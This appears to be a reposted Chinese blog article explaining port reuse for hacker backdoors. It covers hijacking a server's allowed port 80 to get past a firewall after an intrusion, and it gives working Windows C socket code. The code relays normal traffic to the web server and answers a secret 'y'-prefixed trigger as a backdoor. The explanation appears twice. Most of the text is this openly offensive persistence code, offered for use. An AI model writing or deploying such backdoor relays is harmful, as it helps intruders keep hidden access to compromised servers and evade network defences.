(VC代码) 端口复用的思路与实现
来源:互联网 发布:淘宝做什么产品比较好 编辑:程序博客网 时间:2024/05/24 00:14
端口复用在黑客后门程序中十分重要,当你侵入一台服务器时,这台服务器如果安装了防火墙,则使用一般的后门程序时,后门程序使用的是防火墙禁止的端口,则可以通过复用防火墙允许的端口来与后门程序进行数据交流,比如一个服务器有WEB服务,我们可以通过复用80端口.
原理图如下:
复制端口的原理是用在服务器安装一个中间程序,在客户端发送数据给端口前劫获这个数据,判断这个是不是HACKER发来的数据,如果是把它发给后门程序,如果不是则转发给端口程序,返回信息再发给客户端.所以中间程序即是一个服务端程序(监听连接)也是一个客户端程序(发送给端口程序).要复用端口,必须使中间程序的监听SOCKET用setsockopt()函数设置.
代码如下:
原理图如下:
复制端口的原理是用在服务器安装一个中间程序,在客户端发送数据给端口前劫获这个数据,判断这个是不是HACKER发来的数据,如果是把它发给后门程序,如果不是则转发给端口程序,返回信息再发给客户端.所以中间程序即是一个服务端程序(监听连接)也是一个客户端程序(发送给端口程序).要复用端口,必须使中间程序的监听SOCKET用setsockopt()函数设置.
代码如下:
#include <stdio.h>#include <WINSOCK2.H> //加入SOCKET的头文件与链接库#pragma comment (lib,"Ws2_32.lib")//复用端口程序包包含监听与连接两种功能的SOCKETvoid proc(LPVOID d); //工作线程int main(int argc,char *argv[]){ //初始化SOCKET参数 WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData); //socket版本 SOCKADDR_IN a,b; //一个是用于外部监听的地址,一个是接收到accept时用的用于处理接收的结构 a.sin_family = AF_INET; a.sin_addr.s_addr=inet_addr(argv[1]); a.sin_port = htons(80); SOCKET c; //socket c是用于监听的SOCKET c=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bool l = TRUE; setsockopt(c,SOL_SOCKET,SO_REUSEADDR,(char *)&l,sizeof(l)); //重用端口设置 bind(c,(sockaddr*)&a,sizeof(a));//绑定 listen(c,100); //监听 while(1) { int x; x = sizeof(b); SOCKET d = accept(c,(sockaddr*)&b,&x);//socket d是当接收到连接时用的socket,监听的sokcet只有一个, //则处理接收到的socket可有多个,由连接数决定 CreateThread( //开始处理线程 NULL,0,(LPTHREAD_START_ROUTINE)proc,(LPVOID)d,0,0); } closesocket(c); return 0;}void proc(LPVOID d){ SOCKADDR_IN sa; //用于连接WEB 80 端口的SOCKET的结构(这个相当于客户端程序,向外服务端连接), //向外连接SOCKET只有一个 sa.sin_family = AF_INET; sa.sin_addr.s_addr = inet_addr("127.0.0.1"); sa.sin_port = htons(80); SOCKET web = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); connect(web,(sockaddr*)&sa,sizeof(sa)); //用此线程程序连接web char buf[4096]; SOCKET ss = (SOCKET)d; //把传进来的处理连接的SOCKET赋给ss while(1) { int n = recv(ss,buf,4096,0);//从外部连接d(即SS)收到数据 if(n==0) //没有数据 break; if(n>0 && buf[0] =='y') { send(ss,"hello!,my hacker master!",25,0);//后门处理程序放在这 } else { send(web,buf,n,0);//如果不是HACKER发来的信息,把信息发给WEB服务程序(在服务器内部,用127.0.0.1) n=recv(web,buf,4096,0);//接收到正常服务程序返回的信息 if(n==0) //如果正常服务器程序没有返回信息,则退出 break; else send(ss,buf,n,0);//否则则把服务器正常信息发给客户端(相当于客户端是没有恶意行为的用户) } } closesocket(ss);}
1 0
- (VC代码) 端口复用的思路与实现
- 端口复用技术与实现代码
- 端口复用技术与实现代码
- 端口复用技术与实现代码
- 端口复用技术与实现代码
- 端口复用技术与实现代码
- 端口复用技术与实现代码
- vc俄罗斯方块实现思路,及代码下载
- VC实现端口复用木马
- 实现端口复用与端口劫持
- iOS更换皮肤的思路与代码实现
- php采集远程图片的思路与实现代码
- 在线代码编辑器的实现原理与思路探讨?
- Python实现端口复用实例代码
- 用VC实现PC并行端口数字信息的输入输出
- iOS_UIScrollView实现无限滚动,思路与代码
- KMP的思路与实现
- PHP Dispath的实现思路及代码
- C,C++表达式求值顺序
- javascript基础知识梳理-DOM
- JavaSE20_总结之Java变量类型识别的方式
- c++随机数生成
- char、wchar_t、T_char
- (VC代码) 端口复用的思路与实现
- jquery.dataTable 绑定数据源
- HDU 2080 夹角有多大II
- 数字信号处理Day2-小波基与规范正交化
- 2015华为关于九进制或者十一进制转换10进制的题
- 基于Bootstrap高级UI设计
- Java Web应用开发中的一些概念
- 手游产品经理初探(三)产品中的玩家行为
- ubuntu下语音识别(科大讯飞)